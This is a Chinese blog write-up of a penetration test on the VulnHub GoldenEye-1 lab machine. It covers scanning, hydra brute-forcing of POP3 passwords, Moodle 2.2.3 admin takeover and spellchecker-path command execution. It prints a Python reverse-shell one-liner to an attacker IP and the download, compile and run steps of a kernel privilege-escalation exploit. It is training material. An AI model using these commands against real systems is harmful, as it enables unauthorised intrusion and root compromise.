VulnHub-GoldenEye-1 靶场渗透测试

时间:2021.2.14

靶场信息:
地址:https://www.vulnhub.com/entry/goldeneye-1,240/
发布日期:2018年5月4日
目标:捕获秘密的GoldenEye代码-flag.txt

前言

第一次使用VulbHub平台,在下载靶场时遇到下载速度慢的问题,后来用了FreeDownloadManager进行下载,速度还算可以。下载完成之后是ova格式,听说用VituralBox打开方便些,我电脑上就装了vmware,所以就用vmware了,打开过程没什么问题,有一处会弹窗,点击重试就好了,虚拟机的网络连接我配置的是NAT模式并且使用了DHCP服务,默认好像是仅主机模式,这样也方便我的kali进行渗透。

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.137.0/24

image-20210214161914374

由探测的结果可知,靶机的IP为192.168.137.128

2、扫描开放的端口和服务

nmap -sS -sV -T5 -A -p- 192.168.137.128

image-20210214162236316

得到开放的端口信息:

25/tcp      open    smtp      Postfix smtpd
80/tcp      open    http      Apache httpd 2.4.7 ((Ubuntu))
55006/tcp   open    ssl/unknown
55007/tcp   open    pop3      Dovecot pop3d

3、网站信息收集

由于开放了80端口,浏览器探测一下靶机是否有相关的应用程序

image-20210214162037777

根据提示,进入/sev-home目录中

image-20210214162102984

进入之后弹窗要我们输入用户名和密码,初步猜测这个弹窗是由js引起的,打开控制台看看,发现terminal.js

image-20210214162135989

根据js中的代码,我们可以得出几个可能有用的信息

InvincibleHack3r
转码得到InvincibleHack3r
 用户名:Boris、Natalya
 密码:InvincibleHack3r

猜测上面的用户名和密码可能可以登录到/sev-home,后面试了几次发现boris和InvincibleHack3r可以登进去

image-20210214162320825

根据提示中提到的pop3服务配置在非常高的非默认端口上运行 ,记得之前探测到主机开放了55007端口并且探测结果也表明它是一个pop3服务,并且打开控制台下发现两个用户名Boris、Natalya,可能是暗示我们登录到这两个用户的邮箱中去

image-20210214162347376

我们由于不知道用户的密码,所以这里试一试能不能爆破出来

hydra 192.168.137.128 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt

image-20210214163004041

image-20210214163022574

果然爆破出两个账号的密码

用户:boris 密码:secret1!
用户:natalya 密码:bird

接着使用nc连接pop3服务,登录这两个账号查看邮箱里面的邮件信息

image-20210214162744539

image-20210214162820233

image-20210214162856740

image-20210214162926617

大致看了下,没什么有用的信息,登录另外一个账号看看

image-20210214163117147

image-20210214163141633

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地hosts中添加域名信息:

用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir 

image-20210214163215897

添加之后,浏览器中打开http://severnaya-station.com/gnocertdir/

image-20210214163244493

在右边发现要登录,试着用刚刚在邮件中发现的账号和密码进行登录,登进去后, 在"My profile"-->"Messages"-->选择"Recent conversations"(最近的对话)看到一个名为doak 的用户

image-20210214163339278

image-20210214163402065

同理,试着用hydra爆破该用户的密码

hydra 192.168.137.128 -s 55007 pop3 -l "doak" -P /usr/share/wordlists/fasttrack.txt 
用户名:doak
密码:goat

image-20210214163759014

登录该用户的邮箱

image-20210214163541302

得到用户名和密码

username: dr_doak
password: 4England!

用该账号登录http://severnaya-station.com/gnocertdir/login/index.php

image-20210214163922137

发现一个 s3cret.txt文件 ,并且该cms用的是 Moodle的2.2.3版本 ,用编辑器打开该文件

image-20210214163903404

表明管理员凭据隐藏在图片中,在浏览器中打开图像

image-20210214164001214

图片应该隐藏了关键信息,将该图片下载下来

wget http://severnaya-station.com/dir007key/for-007.jpg

使用strings查看图片

image-20210214164053165

或者exif

image-20210214164112258

将eFdpbnRlcjE5OTV4IQ==进行base64解码得到xWinter1995x!

用户名:admin
密码:xWinter1995x!

管理员用户登录成功

image-20210214164151775

二、漏洞探测

由于之前得知该网站的cms是Moodle的2.2.3版本,通过百度搜索可以知道该版本有个远程命令执行的漏洞

Moodle允许经过身份验证的用户通过web界面定义拼写检查设置。用户可以更新拼写检查机制以指向安装了二进制文件的系统。通过将拼写检查器的路径更新为任意命令,攻击者可以运行拼写检查请求时web应用程序上下文中的任意命令。

此模块还允许攻击者利用另一个权限提升漏洞。使用引用的XSS vuln,一个未经授权的身份验证用户可以窃取一个管理员sesskey并使用它将权限升级为管理员权限,从而允许模块弹出一个shell作为以前未经授权的身份验证用户。

该模块已针对Moodle版本2.5.2和2.2.3进行了测试。

具体漏洞EXP可查看

EXP

在利用的EXP中在POST的时候需要将拼写检查google spell换成PSpellSHell,原因是目标主机上不存在GCC编译,只有CC编译

image-20210214164434099

在"Settings"-->"Site administration"-->"Plugins"-->"Text editors"-->"TinyMCE HTML editor" 修改PSpellSHel

image-20210214164346792

在"Settings"-->"Site administration"-->"Server"-->"System paths"-->"Path to aspell" 进行命令执行

image-20210214164413797

三、漏洞利用

使用python进行反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.137.150",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20210214164547880

在本地终端里面监听8888端口,通过在blog中新建文章,随便输入字符,点击"Toggle Spellchecker"之后就会反弹到shell

image-20210214164645811

image-20210214164716852

使用ptyhon获得tty,不然有些命令无法执行

python -c 'import pty; pty.spawn("/bin/bash")'

查看当前用户信息、系统信息和id

image-20210214164800318

四、提权

根据前面获取的系统版本- Linux ubuntu 3.13.0,在kali中查找相关漏洞

image-20210214164937671先将exp拷贝到home目录下

cp /usr/share/exploitdb/exploits/linux/local/37292.c /home

然后使用python创建一个服务,通过服务上传37292.c到靶机中,

python -m SimpleHTTPServer 8000

image-20210214164958021

然后看一下靶机中哪个目录的权限最高

image-20210214165042474

发现tmp目录权限为777,就将exp下载到该目录下

image-20210214165152265

由于EXP里面是使用gcc编译的 ,所以这里在靶机里面进行探测,发现没装gcc,但装了cc,先将EXP下载过来,然后进行修改

image-20210214165238222

image-20210214165416637

然后重新下载,运行

cc 37292.c -o exp
./exp

image-20210214165534946

查看flag

image-20210214165621152

md5解密得到006

image-20210214165710568

总结

虽然花费了很多时间,但是学到了很多,期间遇到过许多问题,边解决边进步,还是要多渗透,扩展自己的思路。

posted @ 2021-02-14 16:59  l2sec  阅读(583)  评论(0编辑  收藏  举报